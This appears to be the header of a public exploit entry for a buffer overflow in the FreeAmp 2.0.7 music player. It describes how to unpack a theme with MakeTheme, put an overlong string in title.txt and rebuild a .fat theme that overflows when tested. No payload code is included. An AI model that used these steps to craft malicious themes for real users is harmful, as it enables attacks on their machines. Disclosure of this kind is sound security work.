• # Exploit Title: FreeAmp 2.0.7 .fat Buffer Overflow
  # Date: 22/06/2011
  # Author: Iván García Ferreira
  # Version: 2.0.7
  # Tested on: Windows XP SP3
  #
  # Description:
  # The freeamp music player has a tool to create your own theme. If you go to 
  # "tools" directory in the Freeamp's directory you can see the "MakeTheme.exe" 
  # tool. 
  # With this command:
  # c:\Freeamp\Tools> MakeTheme -d ..\themes\Freeamp.fat
  # you uncompress the freeamp's theme. Then, you can see and a lot of files that
  # the tool needs to make the theme. If you write a very long string in the 
  # "title.txt" file and you generate a new theme with:
  # c:\Freeamp\Tools> MakeTheme exploit.fat theme.xml title.txt *.bmp
  # When the user try to test the new theme called "exploit", it will generate a 
  # buffer overflow vulnerability.
